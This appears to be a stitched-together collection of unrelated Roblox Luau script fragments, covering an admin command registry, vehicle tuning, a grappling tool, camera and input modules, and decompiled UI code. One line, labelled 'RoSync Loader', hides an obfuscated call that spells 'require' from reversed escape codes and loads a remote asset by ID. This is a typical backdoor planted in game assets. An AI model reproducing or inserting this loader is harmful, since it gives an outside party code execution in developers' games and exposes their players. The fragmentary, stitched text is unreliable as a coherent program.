return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server local service = Vargs.Service local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps, t local RegisterCommandDefinition local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Commands = server.Commands; Deps = server.Deps; t = server.Typechecker; local ValidateCommandDefinition = t.interface({ Prefix = t.string, Commands = t.array(t.string), Description = t.string, AdminLevel = t.union(t.string, t.number, t.nan, t.array(t.union(t.string, t.number, t.nan))), Fun = t.boolean, Hidden = t.boolean, Disabled = t.boolean, NoStudio = t.boolean, NonChattable = t.boolean, AllowDonors = t.boolean, Donors = t.boolean, Filter = t.boolean, Function = t.callback, ListUpdater = t.optional(t.union(t.string, t.callback)) }) function RegisterCommandDefinition(ind, cmd) if type(ind) ~= "string" then logError("Non-string command index:", typeof(ind), ind) Commands[ind] = nil return end if type(cmd) ~= "table" then logError("Non-table command definition:", ind) Commands[ind] = nil return end for opt, default in { Prefix = Settings.Prefix; Commands = {}; Description = "(No description)"; Fun = false; Hidden = false; Disabled = false; NoStudio = false; NonChattable = false; AllowDonors = false; Donors = false; CrossServerDenied = false; IsCrossServer = false; Filter = false; Function = function(plr) Remote.MakeGui(plr, "Output", {Message = "No command implementation"}) end } do if cmd[opt] == nil then cmd[opt] = default end end if cmd.Chattable ~= nil then cmd.NonChattable = not cmd.Chattable cmd.Chattable = nil warn(`Deprecated 'Chattable' property found in command {ind}; switched to NonChattable = {cmd.NonChattable}`) end Admin.PrefixCache[cmd.Prefix] = true for _, v in cmd.Commands do Admin.CommandCache[string.lower(cmd.Prefix..v)] = ind end cmd.Args = cmd.Args or cmd.Arguments or {} local lvl = cmd.AdminLevel if type(lvl) == "string" and lvl ~= "Donors" then cmd.AdminLevel = Admin.StringToComLevel(lvl) elseif type(lvl) == "table" then for b, v in lvl do lvl[b] = Admin.StringToComLevel(v) end elseif type(lvl) == "nil" then cmd.AdminLevel = 0 end if cmd.ListUpdater then Logs.ListUpdaters[ind] = function(plr, ...) if not plr or Admin.CheckComLevel(Admin.GetLevel(plr), cmd.AdminLevel) then if type(cmd.ListUpdater) == "function" then return cmd.ListUpdater(plr, ...) end return Logs[cmd.ListUpdater] end end end local isValid, fault = ValidateCommandDefinition(cmd) if not isValid then logError(`Invalid command definition table {ind}:`, fault) Commands[ind] = nil end rawset(Commands, ind, cmd) end --// Automatic New Command Caching and Ability to do server.Commands[":ff"] setmetatable(Commands, { __index = function(_, ind) if type(ind) ~= "string" then return nil end local targInd = Admin.CommandCache[string.lower(ind)] return if targInd then rawget(Commands, targInd) else rawget(Commands, ind) end; __newindex = function(_, ind, val) if val == nil then if rawget(Commands, ind) ~= nil then rawset(Commands, ind, nil) Logs.AddLog("Script", "Removed command definition:", ind) end elseif rawget(Commands, "RunAfterPlugins") then rawset(Commands, ind, val) else if rawget(Commands, ind) ~= nil then Logs.AddLog("Script", "Overwriting command definition:", ind) end RegisterCommandDefinition(ind, val) end end; }) Logs.AddLog("Script", "Loading Command Modules...") --// Load command modules if server.CommandModules then local env = GetEnv() for i, module in server.CommandModules:GetChildren() do local func = require(module) local ran, tab = pcall(func, Vargs, env) if ran and tab and type(tab) == "table" then for ind, cmd in tab do Commands[ind] = cmd end Logs.AddLog("Script", `Loaded Command Module: {module.Name}`) elseif not ran then warn(`CMDMODULE {module.Name} failed to load:`) warn(tostring(tab)) Logs.AddLog("Script", `Loading Command Module Failed: {module.Name}`) end end end --// Cache commands Admin.CacheCommands() rawset(Commands, "Init", nil) Logs.AddLog("Script", "Commands Module Initialized") end local function RunAfterPlugins() --// Load custom user-supplied commands in settings.Commands local commandEnv = GetEnv(nil, { script = server.Config and server.Config:FindFirstChild("Settings") or script; }) for ind, cmd in Settings.Commands or {} do if type(cmd) == "table" and cmd.Function then setfenv(cmd.Function, commandEnv) Commands[ind] = cmd end end --// Change command permissions based on settings local Trim = service.Trim for ind, cmd in Settings.Permissions or {} do local com, level = string.match(cmd, "^(.*):(.*)") if com and level then if string.find(level, ",") then local newLevels = {} for lvl in string.gmatch(level, "[^%s,]+") do table.insert(newLevels, Trim(lvl)) end Admin.SetPermission(com, newLevels) else Admin.SetPermission(com, level) end end end for ind, cmd in Commands do RegisterCommandDefinition(ind, cmd) end rawset(Commands, "RunAfterPlugins", nil) end server.Commands = { Init = Init; RunAfterPlugins = RunAfterPlugins; }; end
------ Locales ------
local CaseData = script.Parent.CaseData local InformationData = script.Parent.Parent.Parent.CaseInformationFrame.Information local InformationImage = script.Parent.Parent.Parent.CaseInformationFrame.Variables.CaseInformationPhoto local InformationVariables = script.Parent.Parent.Parent.CaseInformationFrame.Variables local Button = script.Parent local Image = Button.UI.Package local Player = game:GetService("Players").LocalPlayer local Inventory = Player.Inventory local Variables = Button.Variables
--[[ Last synced 2/5/2021 05:41 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Cleaning the blood parts function
local deleteBlood = function(part) local tween = tweenPartSize(part, 0.5, Enum.EasingDirection.In, Vector3.new(0, 0.1, 0)) spawn(function() tween.Completed:Wait() tween:Destroy() part:Destroy() end) end
-- Otherwise, set it to false if you want to see them.
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio -- These are the IDs of the piano sounds.
settings.SoundSource = Piano.Keys.KeyBox settings.CameraCFrame = CFrame.new( (Box.CFrame * CFrame.new(0, 0, 1)).p, -- +z is towards player (Box.CFrame * CFrame.new(0, 0, 0)).p )
--avoid error, script runs before script.Tool and script.Target are added as children
wait() script.Tool.Value.Changed:connect(function(pr) --print("Tool \"", script.Tool.Value, "\"s parent changed to ", script.Tool.Value.Parent) if pr == "Parent" then if script.Tool.Value.Parent == game.Workspace then game.Workspace.CurrentCamera.CameraType = 5 game.Workspace.CurrentCamera.CameraSubject = script.Target.Value end end end) script.Tool.Value.Unequipped:connect(function() wait(0.5) script:remove() end) print("PaperPlaneGear :: CamFocusFailsafe loaded")
--[[Weight and CG]]
Tune.Weight = 3960 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--script.Parent.PlaybackSpeed = (math.random(8,20)/10) --wait(0.5)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = { Name = "Ping", Title = "Ping", Icon = client.MatIcons.Leaderboard, Size = { 150, 70 }, Position = UDim2.new(0, 10, 1, -80), AllowMultiple = false, NoHide = true }; local u1 = true; function v1.OnClose() u1 = false; end; local v2 = client.UI.Make("Window", v1); if v2 then local v3 = v2:Add("TextLabel", { Text = "...", BackgroundTransparency = 1, TextSize = 20, Size = UDim2.new(1, 0, 1, 0), Position = UDim2.new(0, 0, 0, 0) }); local l__gTable__4 = v2.gTable; v2:Ready(); while true do v3.Text = client.Remote.Ping() .. "ms"; wait(2); if not u1 then break; end; if not l__gTable__4.Active then break; end; end; end; end;
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Rev") script:WaitForChild("Turbo") if not FE then for i,v in pairs(car.Body.ENGINE:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.Body.ENGINE end car.Body.ENGINE.Rev:Play() car.Body.ENGINE.idle:Play() while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.Body.ENGINE.Rev.Pitch = (car.Body.ENGINE.Rev.SetPitch.Value + car.Body.ENGINE.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 car.Body.ENGINE.Turbo.Pitch = (car.Body.ENGINE.Turbo.SetPitch.Value + car.Body.ENGINE.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2 car.Body.ENGINE.idle.Pitch = (car.Body.ENGINE.idle.SetPitch.Value + car.Body.ENGINE.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2 if _RPM == 700 then car.Body.ENGINE.idle.Volume = .1-- 0/.07 car.Body.ENGINE.Turbo.Volume = .2 car.Body.ENGINE.Rev.Volume = 0 else car.Body.ENGINE.Rev.Volume = .2 car.Body.ENGINE.idle.Volume = 0 -- car.Body.ENGINE.Turbo:Stop() end end else local handler = car.AC6_FE_Sounds handler:FireServer("newSound","Rev",car.Body.ENGINE,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") handler:FireServer("newSound","Turbo",car.Body.ENGINE,script.Turbo.SoundId,0,script.Turbo.Volume,true) handler:FireServer("playSound","Turbo") handler:FireServer("newSound","idle",car.Body.ENGINE,script.idle.SoundId,0,script.Turbo.Volume,true) handler:FireServer("playSound","idle") local pitch=0 local pitch2=0 local pitch3=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 pitch2 = (script.Turbo.SetPitch.Value + script.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2 pitch3 = (script.idle.SetPitch.Value + script.idle.SetRev.Value*_RPM/_Tune.Redline)*on^2 handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume) handler:FireServer("updateSound","Turbo",script.Turbo.SoundId,pitch2,script.Turbo.Volume) handler:FireServer("updateSound","idle",script.idle.SoundId,pitch3,script.idle.Volume) end end
--Supercharger
local Whine_Pitch = 1.2 --max pitch of the whine (not exact so might have to mess with it)
--[[ Main RenderStep Update. The camera controller and occlusion module both have opportunities to set and modify (respectively) the CFrame and Focus before it is set once on CurrentCamera. The camera and occlusion modules should only return CFrames, not set the CFrame property of CurrentCamera directly. --]]
function CameraModule:Update(dt) if self.activeCameraController then self.activeCameraController:UpdateMouseBehavior() local newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt) if self.activeOcclusionModule then newCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus) end -- Here is where the new CFrame and Focus are set for this render frame local currentCamera = game.Workspace.CurrentCamera :: Camera currentCamera.CFrame = newCameraCFrame currentCamera.Focus = newCameraFocus -- Update to character local transparency as needed based on camera-to-subject distance if self.activeTransparencyController then self.activeTransparencyController:Update(dt) end if CameraInput.getInputEnabled() then CameraInput.resetInputForFrameEnd() end end end
-- Register's a newly added Motor6D -- into the provided joint rotator.
function CharacterRealism:AddMotor(rotator, motor) local parent = motor.Parent if parent and parent.Name == "Head" then parent.CanCollide = true end -- Wait until this motor is marked as active -- before attempting to use it in the rotator. Util:PromiseValue(motor, "Active", function () local data = { Motor = motor; C0 = motor.C0; } -- If it can be found, use the source RigAttachment for this Motor6D -- joint instead of using the static C0 value. This is intended for R15. Util:PromiseChild(motor.Part0, motor.Name .. "RigAttachment", function (origin) if origin:IsA("Attachment") then data.Origin = origin data.C0 = nil end end) -- Add this motor to the rotator -- by the name of its Part1 value. local id = motor.Part1.Name rotator.Motors[id] = data end) end
--mesh.Scale = Vector3.new(0.1,1,0.1)
local RetractionSpeed = 80 local StartDistance = 100 local PlayerBodyVelocity = Instance.new("BodyVelocity") PlayerBodyVelocity.maxForce = Vector3.new(1e+0010, 1e+0010, 1e+0010) local ObjectBodyVelocity = Instance.new("BodyVelocity") ObjectBodyVelocity.maxForce = Vector3.new(14000,14000,14000) --force necessary to forcefully grab a player local bodyPos = Instance.new("BodyPosition") bodyPos.D = 1e+003 bodyPos.P = 3e+003 bodyPos.maxForce = Vector3.new(1e+006, 1e+006, 1e+006) local bodyGyro = Instance.new("BodyGyro") bodyGyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) function BreakRope() if human then human.Sit = false end rope.Parent = nil if PlayerBodyVelocity then PlayerBodyVelocity.Parent = nil end if ObjectBodyVelocity then ObjectBodyVelocity.Parent = nil end bodyGyro.Parent = nil if bolt ~= nil then bolt.Parent = nil end if holdweld ~= nil then holdweld.Parent = nil end holdweld = nil bolt = nil --Tool.Handle.Mesh.MeshId = "http://www.roblox.com/asset/?id=89987774" --Tool.GripPos = defaultPos wait(.45) if bolt == nil then bodyGyro.Parent = nil --keep the gyro a little longer so retracted object doesnt ragdoll player end script.Parent.Bolt.Transparency = 0 end function adjustRope() if bolt and torso then if (torso.Position - bolt.Position).magnitude > maxDistance then BreakRope() end end if rope.Parent == nil or bolt == nil then return end local pos1 = Tool.Bolt.Position + Tool.Bolt.CFrame.lookVector*.3 local pos2 = bolt.Position rope.Size = Vector3.new(0, 1, 0) rope.Mesh.Scale = Vector3.new(0.1, (pos1-pos2).magnitude, 0.1) rope.CFrame = CFrame.new((pos1 + pos2)/2, pos2) * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,0) end function updateVelocities() if bolt and torso and ObjectBodyVelocity then local grappleVector = (torso.Position - bolt.Position) if grappleVector.magnitude > maxDistance then BreakRope() return end if bolt.Velocity.magnitude < 3 and -1* torso.Velocity:Dot(grappleVector.unit) < 5 and grappleVector.magnitude < .75 * StartDistance then print("hop up") PlayerBodyVelocity.velocity = PlayerBodyVelocity.velocity + Vector3.new(0,20,0) wait(.25) BreakRope() return end if grappleVector.magnitude < 3.5 then print("grapple end") wait(.20) BreakRope() return else ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed local boltRetraction = math.max(grappleVector.unit:Dot(bolt.Velocity),0) --no negative speed local playerSpeed = math.max(0, RetractionSpeed - 5 - boltRetraction) if playerSpeed == 0 then PlayerBodyVelocity.Parent = nil else PlayerBodyVelocity.Parent = torso PlayerBodyVelocity.velocity = grappleVector.unit * playerSpeed * -1 end end else BreakRope() end end function onBoltHit(hit) if bolt == nil or hit == nil or hit.Parent == nil or hit == rope or bolt.Name ~= "Bolt" or hit.Parent == Tool or hit.Parent == Tool.Parent or hit.Parent.Parent == Tool.Parent or hit.Parent.Name == "Attached Bolt" then return end local grappleVector = (torso.Position - bolt.Position) StartDistance = grappleVector.magnitude if StartDistance > maxDistance then bolt.Parent = nil bolt = nil return end bolt.Name = "Attached Bolt" local boltFrame = CFrame.new(hit.Position) local C0 = hit.CFrame:inverse() * boltFrame local C1 = bolt.CFrame:inverse() * boltFrame local weld = Instance.new("Weld") weld.Part0 = hit weld.Part1 = bolt weld.C0 = C0 weld.C1 = C1 weld.Parent = bolt local hum = hit.Parent:FindFirstChild("Immortal") if hum then hum.Sit = true end if bolt:FindFirstChild("HitSound") then bolt.HitSound:play() end local backupbolt = bolt ObjectBodyVelocity = Instance.new("BodyVelocity") ObjectBodyVelocity.maxForce = Vector3.new(5000,5000,5000) ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed ObjectBodyVelocity.Parent = bolt wait(0.4) if bolt == nil or bolt ~= backupbolt then return end bolt.ConnectSound:play() Tool.Handle.ConnectSound:play() script.Parent.Bolt.Transparency = 1 targetPos = bolt.Position backupPos = bolt.Position --bodyPos.position = targetPos --bodyPos.Parent = torso PlayerBodyVelocity.Parent = torso PlayerBodyVelocity.velocity = Vector3.new(0,0,0) bodyGyro.cframe = torso.CFrame bodyGyro.Parent = torso while bolt ~= nil do --bodyPos.position = bolt.Position updateVelocities() wait(1/30) end end enabled = true local canReset = true function onButton1Down(mouse) if bolt and canReset then BreakRope() end if not enabled then return end if bolt ~= nil and not canFireWhileGrappling then return end if bolt ~= nil then if boltconnect ~= nil then print("Disconnecting") boltconnect:disconnect() end bolt:remove() targetPos = Vector3.new(0,0,0) end Tool.Handle.FireSound:play() enabled = false mouse.Icon = "rbxasset://textures\\GunWaitCursor.png" --bolt = game:GetService("InsertService"):LoadAsset(33393977) script.Parent.Bolt.Transparency = 1 bolt = Tool.Bolt:Clone() bolt.Name = "Bolt" bolt.Size = Vector3.new(1,.4,1) bolt.Locked = false --bolt.Mesh.MeshId = "http://www.roblox.com/asset/?id=89989174" --local instances = bolt:GetChildren() --if #instances == 0 then -- bolt:Remove() -- return --end --bolt = bolt:FindFirstChild("Bolt") --local boltMesh = bolt:FindFirstChild("Mesh") bolt.CFrame = CFrame.new(Tool.Bolt.Position + (mouse.Hit.p - Tool.Bolt.Position).unit * 5,mouse.Hit.p) --* CFrame.fromEulerAnglesXYZ(0,math.pi,0) bolt.Transparency = 0 bolt.CanCollide = false bolt.Velocity = bolt.CFrame.lookVector * 80 if bolt:findFirstChild("BodyPosition") ~= nil then bolt.BodyPosition:remove() end local force = Instance.new("BodyForce") force.force = Vector3.new(0,bolt:GetMass() * 196.1,0) force.Parent = bolt bolt.Parent = workspace boltconnect = bolt.AncestryChanged:connect(function() onKeyDown("q") end) bolt.Touched:connect(onBoltHit) rope.Parent = Tool bolt.Parent = game.Workspace --Tool.Handle.Mesh.MeshId = "http://www.roblox.com/asset/?id=89988787" --Tool.GripPos = adjustedPos canReset = false wait(.5) canReset = true wait(1) mouse.Icon = "rbxasset://textures\\GunCursor.png" enabled = true end function onKeyDown(key) key = key:lower() if key == "q" then BreakRope() end end function getHumanoid(obj) for i,child in pairs(obj:getChildren()) do if child.className == "Humanoid" then return child end end end function onEquippedLocal(mouse) if mouse == nil then print("Mouse not found") return end torso = Tool.Parent:findFirstChild("Torso") human = Tool.Parent:FindFirstChild("Immortal")--getHumanoid(Tool.Parent) if torso == nil or human == nil then return end human.Jumping:connect(function() onKeyDown("q") end) mouse.Icon = "rbxasset://textures\\GunCursor.png" mouse.Button1Down:connect(function() onButton1Down(mouse) end) mouse.KeyDown:connect(onKeyDown) end Tool.Equipped:connect(onEquippedLocal) Tool.Unequipped:connect(function() onKeyDown("q") end) while true do adjustRope() wait(1/60) end
--// F key, HornOff
mouse.KeyUp:connect(function(key) if key=="h" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 end end)
-- GROUPS
Groups = { [0] = { [254] = "Administrator"; [1] = "VIP"; }; };
-- goro7
script.Parent.Event:connect(function(plr) -- Check if sufficient time has passed local currentTime = tick() if currentTime - plr.Stats.LastDailyHunterCoins.Value >= 86400 then -- Change stats plr.Stats.Coins.Value = plr.Stats.Coins.Value + 9000 plr.Stats.LastDailyHunterCoins.Value = currentTime -- Send result game.ReplicatedStorage.Interactions.Client.DailyHunterCoinsResult:FireClient(plr, true, tick()) else -- Send result game.ReplicatedStorage.Interactions.Client.DailyHunterCoinsResult:FireClient(plr, false, tick()) end end)
------CruisinWithMyHomies v---
mouse.KeyDown:connect(function (key) key = string.lower(key) if carSeat.Velocity.Magnitude > 25 and key == "x" and cc.Value == false then cc.Value = true rwd.MaxSpeed = carSeat.Velocity.Magnitude rrwd.MaxSpeed = carSeat.Velocity.Magnitude lwd.MaxSpeed = carSeat.Velocity.Magnitude rwd.Torque = tq rrwd.Torque = ftq lwd.Torque = ftq rwd.Throttle = 1 rrwd.Throttle = 1 lwd.Throttle = 1 elseif key == "x" and cc.Value == true then cc.Value = false end end)
-- Rate = 64;
Rate = 8; -- Size: How large the droplets roughly are (in studs) Size = 0.1; -- Tint: What color the droplets are tinted (leave as nil for a default realistic light blue) Tint = Color3.fromRGB(226, 244, 255); -- Fade: How long it takes for a droplet to fade Fade = 1.5; } local UpVec = Vector3.new(0, 1, 0) local DROPLET_SIZE = Vector3.new(1, 1, 1) local EMPTY_CFRAME = CFrame.new()
--[[ Roblox Services ]]
-- local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local StarterGui = game:GetService("StarterGui") local GuiService = game:GetService("GuiService") local ContextActionService = game:GetService("ContextActionService") local VRService = game:GetService("VRService") local UserGameSettings = UserSettings():GetService("UserGameSettings") local player = Players.LocalPlayer
-- connect up
function stopLoopedSounds() sRunning:Stop() sClimbing:Stop() sSwimming:Stop() end Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Swimming:connect(onSwimming) Humanoid.Climbing:connect(onClimbing) Humanoid.Jumping:connect(function(state) onStateNoStop(state, sJumping) prevState = "Jump" end) Humanoid.GettingUp:connect(function(state) stopLoopedSounds() onStateNoStop(state, sGettingUp) prevState = "GetUp" end) Humanoid.FreeFalling:connect(function(state) stopLoopedSounds() onStateFall(state, sFreeFalling) prevState = "FreeFall" end) Humanoid.FallingDown:connect(function(state) stopLoopedSounds() onStateNoStop(state, sFallingDown) prevState = "Falling" end) Humanoid.StateChanged:connect(function(old, new) if not (new.Name == "Dead" or new.Name == "Running" or new.Name == "RunningNoPhysics" or new.Name == "Swimming" or new.Name == "Jumping" or new.Name == "GettingUp" or new.Name == "Freefall" or new.Name == "FallingDown") then stopLoopedSounds() end end)
--- Gets a command definition by name. (Can be an alias)
function Registry:GetCommand (name) name = name or "" return self.Commands[name:lower()] end
--Variables --local GameAnalyticsSendMessage = game:GetService("ReplicatedStorage"):WaitForChild("GameAnalyticsSendMessage")
--//Functions
function CheckName(Object) local NameFound = false for _,Name in pairs({"LeftFoot", "LeftHand", "LeftLowerArm", "LeftLowerLeg", "LeftUpperArm", "LeftUpperLeg", "LowerTorso", "RightFoot", "RightHand", "RightLowerArm", "RightLowerLeg", "RightUpperArm", "RightUpperLeg", "UpperTorso", "Head"}) do if string.lower(Object.Name) == string.lower(Name) then NameFound = true end end if NameFound then return true end end function AddWeld(Target, Object) if Target and Object then local Weld = Instance.new("WeldConstraint", Object) Weld.Part0 = Target Weld.Part1 = Object end end function LockPlayer(Player, Value) local Humanoid = Player.Character:FindFirstChildOfClass("Humanoid") if Player and Humanoid then if Value == true then Humanoid.PlatformStand = true Player.Character:FindFirstChild("HumanoidRootPart").Anchored = true wait(0.5) elseif Value == false then Humanoid.PlatformStand = false Player.Character:FindFirstChild("HumanoidRootPart").Anchored = false end end end
--- Shows the command bar
function Window:Show() return self:SetVisible(true) end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; v1.__index = v1; local u1 = Vector3.new(0, 0, 0); function v1.new() local v2 = setmetatable({}, v1); v2.enabled = false; v2.moveVector = u1; v2.moveVectorIsCameraRelative = true; v2.isJumping = false; return v2; end; function v1.OnRenderStepped(p1, p2) end; function v1.GetMoveVector(p3) return p3.moveVector; end; function v1.IsMoveVectorCameraRelative(p4) return p4.moveVectorIsCameraRelative; end; function v1.GetIsJumping(p5) return p5.isJumping; end; function v1.Enable(p6, p7) error("BaseCharacterController:Enable must be overridden in derived classes and should not be called."); return false; end; return v1;
-- Signal:Fire(...) implemented by running the handler functions on the -- coRunnerThread, and any time the resulting thread yielded without returning -- to us, that means that it yielded to the Roblox scheduler and has been taken -- over by Roblox scheduling, meaning we have to make a new coroutine runner.
function Signal:Fire(...) local item = self._handlerListHead while item do if item._connected then if not freeRunnerThread then freeRunnerThread = coroutine.create(runEventHandlerInFreeThread) -- Get the freeRunnerThread to the first yield coroutine.resume(freeRunnerThread) end task.spawn(freeRunnerThread, item._fn, ...) end item = item._next end end
-- ButtonClick
ExitButton.Activated:Connect(hide) InteractionButton.Activated:Connect(show) FreeFlightButton.Activated:Connect(EnterFreeFlight) RaceButton.Activated:Connect(EnterRace)
--[[ The Module ]]
-- local MouseLockController = {} MouseLockController.__index = MouseLockController function MouseLockController.new() local self = setmetatable({}, MouseLockController) self.isMouseLocked = false self.savedMouseCursor = nil self.boundKeys = {Enum.KeyCode.LeftControl} -- defaults self.mouseLockToggledEvent = Instance.new("BindableEvent") local boundKeysObj = script:FindFirstChild("BoundKeys") if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then -- If object with correct name was found, but it's not a StringValue, destroy and replace if boundKeysObj then boundKeysObj:Destroy() end boundKeysObj = Instance.new("StringValue") boundKeysObj.Name = "BoundKeys" boundKeysObj.Value = "LeftControl" boundKeysObj.Parent = script end if boundKeysObj then boundKeysObj.Changed:Connect(function(value) self:OnBoundKeysObjectChanged(value) end) self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call end -- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly GameSettings.Changed:Connect(function(property) if property == "ControlMode" or property == "ComputerMovementMode" then self:UpdateMouseLockAvailability() end end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function() self:UpdateMouseLockAvailability() end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:UpdateMouseLockAvailability() end) self:UpdateMouseLockAvailability() return self end function MouseLockController:GetIsMouseLocked() return self.isMouseLocked end function MouseLockController:GetBindableToggleEvent() return self.mouseLockToggledEvent.Event end function MouseLockController:GetMouseLockOffset() local offsetValueObj = script:FindFirstChild("CameraOffset") if offsetValueObj and offsetValueObj:IsA("Vector3Value") then return offsetValueObj.Value else -- If CameraOffset object was found but not correct type, destroy if offsetValueObj then offsetValueObj:Destroy() end offsetValueObj = Instance.new("Vector3Value") offsetValueObj.Name = "CameraOffset" offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value offsetValueObj.Parent = script end if offsetValueObj and offsetValueObj.Value then return offsetValueObj.Value end return Vector3.new(1.75,0,0) end function MouseLockController:UpdateMouseLockAvailability() local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable if MouseLockAvailable~=self.enabled then self:EnableMouseLock(MouseLockAvailable) end end function MouseLockController:OnBoundKeysObjectChanged(newValue) self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values for token in string.gmatch(newValue,"[^%s,]+") do for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do if token == keyEnum.Name then self.boundKeys[#self.boundKeys+1] = keyEnum break end end end self:UnbindContextActions() self:BindContextActions() end
--Scripted by DermonDarble
local character = script.Parent.Parent local humanoid = character:WaitForChild("Humanoid") local seat = character:WaitForChild("Seat") local occupant = seat.Occupant script.Parent.Parent.Seat.Changed:connect(function(property) if seat.Occupant ~= occupant then occupant = seat.Occupant if occupant then local player = game.Players:GetPlayerFromCharacter(occupant.Parent) if player then local localControlScript = script.LocalControlScript:Clone() localControlScript.Horse.Value = character localControlScript.Parent = player.PlayerGui localControlScript.Disabled = false end end end end)
----------------------------------------------------------- ----------------------- STATIC DATA ----------------------- -----------------------------------------------------------
local RunService = game:GetService("RunService") local Workspace = game:GetService("Workspace") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Modules = ReplicatedStorage:WaitForChild("Modules") local DamageModule = require(Modules.DamageModule) local Utilities = require(Modules.Utilities) local Signal = Utilities.Signal local table = Utilities.Table local Thread = Utilities.Thread local TargetEvent if RunService:IsClient() then TargetEvent = RunService.RenderStepped else TargetEvent = RunService.Heartbeat end local Projectiles = {} local RemoveList = {}
-- Text Tools
local Equipped = 0 for i,v in pairs(Pets:GetChildren()) do if v.Equipped.Value == true then Equipped = Equipped + 1 end end Data.MaxStorage:GetPropertyChangedSignal("Value"):Connect(function() StorageText.Text = #Pets:GetChildren() .. "/" .. Data.MaxStorage.Value end) Data.MaxEquip:GetPropertyChangedSignal("Value"):Connect(function() EquippedText.Text = Equipped .. "/" .. Data.MaxEquip.Value end) StorageText.Text = #Pets:GetChildren() .. "/" .. Data.MaxStorage.Value EquippedText.Text = Equipped .. "/" .. Data.MaxEquip.Value
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
